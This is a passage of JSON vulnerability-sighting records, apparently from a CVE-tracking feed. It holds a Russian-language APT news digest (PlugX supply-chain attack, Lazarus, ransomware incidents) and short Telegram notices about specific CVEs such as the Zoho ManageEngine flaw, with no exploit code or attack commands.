\u041d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u043e\u0442 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043d\u0435 \u0441\u043a\u0430\u0436\u0435\u043c \u043a\u0430\u043a\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u044b, \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u0438\u0441\u0442\u0440\u0430\u0441\u0442\u0438\u0435 \u043a \u0431\u044d\u043a\u0434\u043e\u0440\u0443 PlugX. \u041a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0413\u043e\u043d\u043a\u043e\u043d\u0433\u0435, \u0430 \u0434\u043b\u044f \u0438\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435  \u041f\u041e Cobra DocGuard \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 EsafeNet. \u0415\u0433\u043e, \u043a\u0441\u0442\u0430\u0442\u0438, \u0443\u0436\u0435 \u043d\u0435 \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044e\u0442. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0438\u0448\u0435\u043d\u043a\u0438 \u043d\u0430 \u0442\u043e\u0440\u0442\u0435 \u2014 \u0432 \u0440\u044f\u0434\u0435 \u0430\u0442\u0430\u043a \u0434\u0440\u043e\u043f\u043f\u0435\u0440 PlugX/Korplug \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c Microsoft.  \u0412\u0441\u0435\u0433\u043e \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043d\u0430 2000 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432, \u043d\u043e PlugX \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 100. \u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0432 \u044d\u0442\u043e\u043c \u0436\u0430\u043d\u0440\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 LuckyMouse, \u043d\u043e \u043d\u044b\u043d\u0435\u0448\u043d\u044e\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u043e\u0439 \u0436\u0435 \u0433\u0440\u0443\u043f\u043f\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0432\u0442\u043e\u0440\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0437\u0432\u0430\u043b\u0438 \u0435\u0451 Carderbee.\n\n\u0420\u0430\u0437\u0431\u043e\u0440 TTP \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Flax Tycoon.  \u041e\u043d\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0422\u0430\u0439\u0432\u0430\u043d\u0435, \u043d\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0438 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 VPN, Java, SQL \u0438 \u0442.\u043f.  \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0412\u041f\u041e \u0438 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 LOLbins, \u0438\u043d\u043e\u0433\u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f Metasploit, Juicy potato \u0438 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b China Chopper. \u0426\u0435\u043b\u044c\u044e \u0433\u0440\u0443\u043f\u043f\u044b \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0443\u0433\u0443\u0431\u043e \u0448\u043f\u0438\u043e\u043d\u0430\u0436.\n\n\ud83d\udc6e\u200d\u2642\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a Lazarus group \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f (\u0447\u0430\u0441\u0442\u044c 1, \u0447\u0430\u0441\u0442\u044c 2). \u041d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 CVE-2022-47966 \u0432 Zoho ManageEngine, \u0437\u0430\u0442\u0435\u043c \u0432 \u0441\u0435\u0442\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0432\u0435\u0436\u0438\u0445 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u0412\u041f\u041e: QuiteRAT \u0438 CollectionRAT.  QuiteRAT \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u0441\u0442\u0430\u043b \u0432\u0447\u0435\u0442\u0432\u0435\u0440\u043e \u043c\u0435\u043d\u044c\u0448\u0435 \u0432 \u043e\u0431\u044a\u0451\u043c\u0435. \u0410\u0432\u0442\u043e\u0440\u044b \u0412\u041f\u041e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c QT Framework, \u0447\u0442\u043e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u044f\u0435\u0442 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c  \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. \u0427\u0442\u043e \u0434\u043e CollectionRAT, \u0442\u043e \u044d\u0442\u043e, \u043f\u043e\u0445\u043e\u0436\u0435, \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 EarlyRAT, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u0440\u0430\u043d\u0435\u0435.\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u043f\u0440\u043e \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0435 \u043a\u0440\u044b\u043b\u043e Lazarus, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e Andariel, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0442\u0447\u0451\u0442 Ahnlab. \u041e\u043d \u0432\u0435\u0441\u044c \u043d\u0430 \u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u043c, \u043d\u043e \u0432\u043e\u0442 \u0433\u0443\u0433\u043b-\u0442\u0440\u0430\u043d\u0441\u043b\u0435\u0439\u0442.  \u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0437\u043e\u0431\u0438\u043b\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Go.\n\n\ud83d\udcbb \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0432 \u043a\u0430\u043a\u0438\u0445 \u0436\u0435 \u0430\u0442\u0430\u043a\u0430\u0445 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u0432\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 WinRAR. \u042d\u0442\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0442\u0440\u0435\u0439\u0434\u0435\u0440\u043e\u0432.\n\n\u041d\u0435 APT, \u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0433\u0440\u0443\u0441\u0442\u043d\u043e\n\n\u2620\ufe0f \u0414\u0430\u0442\u0441\u043a\u0438\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440 CloudNordic \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0430\u0442\u0430\u043a\u0438 ransomware. \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u043e, \u0447\u0442\u043e \u0432\u0441\u044f \u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0443\u0442\u0435\u0440\u044f\u043d\u0430 \u0438 \u043d\u0435 \u043f\u043e\u0434\u043b\u0435\u0436\u0438\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e. \u041f\u043b\u0430\u0442\u0438\u0442\u044c \u0432\u044b\u043a\u0443\u043f \u0434\u0430\u0442\u0447\u0430\u043d\u0435 \u043d\u0435 \u0445\u043e\u0442\u044f\u0442 (\ud83d\udc4f), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0431\u0438\u0437\u043d\u0435\u0441 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 \u0438\u0437\u0432\u0438\u043d\u0435\u043d\u0438\u044f\u043c\u0438. \n\n\ud83e\uddd0 \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u043b \u0447\u0430\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440 Leaseweb. \u0414\u0435\u0442\u0430\u043b\u0435\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f: \u00ab\u041d\u0430\u0448\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u043c\u044b \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442, \u0443\u043b\u0443\u0447\u0448\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438\u00bb\n\n\u27a1\ufe0f  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e ransomware-\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0431\u044b\u0432\u0430\u043d\u0438\u044f \u0432 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0434\u043e 5 \u0434\u043d\u0435\u0439, \u043b\u044e\u0431\u0438\u043c\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f RDP (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 95% \u0430\u0442\u0430\u043a), \u0430 \u043d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u0435\u0447\u0435\u0440 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u2014 \u0432\u0442\u043e\u0440\u043d\u0438\u043a, \u0441\u0440\u0435\u0434\u0430 \u0438\u043b\u0438 \u0447\u0435\u0442\u0432\u0435\u0440\u0433.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0412\u041f\u041e SmokeLoader \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u0443\u044e \u0434\u043b\u044f Windows-\u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e: \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u0435 \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0436\u0435\u0440\u0442\u0432\u044b. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d WhiffyRecon \u0438 \u0447\u0435\u0440\u0435\u0437 API Google \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f SSID \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0445 \u0442\u043e\u0447\u0435\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041f\u043e\u0445\u043e\u0436\u0435, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043a\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u043a\u0430\u043a \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2023-08-28T08:52:22.000000Z"}, {"uuid": "b894fb02-f281-4550-a044-759c61e2346e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "Telegram/wKCwI9r377V04F49AyjI8uzJErr9kbPxapeRoTuiQUXy", "content": "", "creation_timestamp": "2023-02-23T23:41:09.000000Z"}, {"uuid": "c58c512a-5c20-4959-8421-fc03f21a9f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "Telegram/2I9R6FliHquwURRb8t5QNFGxrnLnYILqhcQxv35YCmjG", "content": "", "creation_timestamp": "2023-02-22T12:24:29.000000Z"}, {"uuid": "4a3bf9ee-0bf7-4442-bfb2-1f65a3e5f006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4788", "type": "seen", "source": "Telegram/jXFExf4vFsv_sTzrwmji-j9KAmmJE_upqPvwWlRFFhPJA2W5", "content": "", "creation_timestamp": "2025-03-11T04:41:14.000000Z"}, {"uuid": "95e55d1d-e0b4-4b1b-9319-6c43b962cd8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47112", "type": "seen", "source": "https://t.me/cvedetector/23400", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-47112 - 7-Zip XZ File Format Parsing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-47112 \nPublished : April 19, 2025, 9:15 p.m. | 1\u00a0hour, 47\u00a0minutes ago \nDescription : 7-Zip 22.01 does not report an error for certain invalid xz files, involving stream flags and reserved bits. Some later versions are unaffected. \nSeverity: 2.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-20T01:10:38.000000Z"}, {"uuid": "7edd38a7-cdeb-49ba-88dd-7b4536c508b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47111", "type": "seen", "source": "https://t.me/cvedetector/23399", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-47111 - 7-Zip XZ File Format Parsing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-47111 \nPublished : April 19, 2025, 9:15 p.m. | 1\u00a0hour, 47\u00a0minutes ago \nDescription : 7-Zip 22.01 does not report an error for certain invalid xz files, involving block flags and reserved bits. Some later versions are unaffected. \nSeverity: 2.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-20T01:10:37.000000Z"}, {"uuid": "c4f7b9d6-faf3-4793-8979-6a22f95f2dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47599", "type": "seen", "source": "https://t.me/ctinow/157234", "content": "https://ift.tt/DHwmXVc\nCVE-2022-47599", "creation_timestamp": "2023-12-20T19:25:33.000000Z"}, {"uuid": "3e491365-a74f-4f5b-82d0-3321f0164d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47597", "type": "seen", "source": "https://t.me/ctinow/157233", "content": "https://ift.tt/0PyfEGv\nCVE-2022-47597", "creation_timestamp": "2023-12-20T19:25:32.000000Z"}, {"uuid": "7deeb231-d321-494d-b6ce-426bf8e7f0d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47428", "type": "seen", "source": "https://t.me/cibsecurity/73583", "content": "\u203c CVE-2022-47428 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WpDevArt Booking calendar, Appointment Booking System allows SQL Injection.This issue affects Booking calendar, Appointment Booking System: from n/a through 3.2.7.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T12:25:46.000000Z"}, {"uuid": "d9008f94-a211-47d2-9e7c-f683ccb8b8d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47542", "type": "seen", "source": "Telegram/A8P1oKSHVvShOsiX3IB-GbINqi29ljjSYbV_O-i1KBcQVmKm", "content": "", "creation_timestamp": "2025-02-18T21:11:32.000000Z"}, {"uuid": "edb87de2-d799-4cd3-872f-248588e303fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47601", "type": "seen", "source": "https://t.me/cvedetector/14185", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-47601 - \"JoomUnited WP Table Manager Authorization Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2022-47601 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Missing Authorization vulnerability in JoomUnited WP Table Manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Table Manager: from n/a through 3.5.2. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:42.000000Z"}, {"uuid": "0a6c2626-eaf1-4815-b8c2-99d4ccada407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47717", "type": "seen", "source": "https://t.me/cibsecurity/57282", "content": "\u203c CVE-2022-47717 \u203c\n\nLast Yard 22.09.8-1 is vulnerable to Cross-origin resource sharing (CORS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T16:14:03.000000Z"}, {"uuid": "809194e0-8261-47bf-bdd2-f1d01f0f881e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/ctinow/87334", "content": "Patch your Zoho ManageEngine instance immediately! PoC Exploit for CVE-2022-47966 will be released soon\n\nhttps://ift.tt/SuRB5cv", "creation_timestamp": "2023-01-17T15:37:02.000000Z"}, {"uuid": "1552ca18-87b0-48ba-a9c9-c1dab23a7b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/ctinow/87322", "content": "PoC for critical ManageEngine bug to be released, so get patching! (CVE-2022-47966)\n\nhttps://ift.tt/2D0vf1L", "creation_timestamp": "2023-01-17T14:32:08.000000Z"}, {"uuid": "f7db40d9-7461-4e85-8f8f-f8ec1108a8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/ctinow/86860", "content": "ManageEngine CVE-2022-47966 IOCs\n\nhttps://ift.tt/rDBdRQi", "creation_timestamp": "2023-01-13T19:02:18.000000Z"}, {"uuid": "73368ab8-13e6-46e0-9b57-022e010f32f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/ctinow/88791", "content": "CISA added Zoho ManageEngine RCE (CVE-2022-47966) to its\u00a0Known Exploited Vulnerabilities Catalog\n\nhttps://ift.tt/RKNOqgS", "creation_timestamp": "2023-01-24T12:39:35.000000Z"}, {"uuid": "9ff18f53-f855-44df-967f-94f7ab3350d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 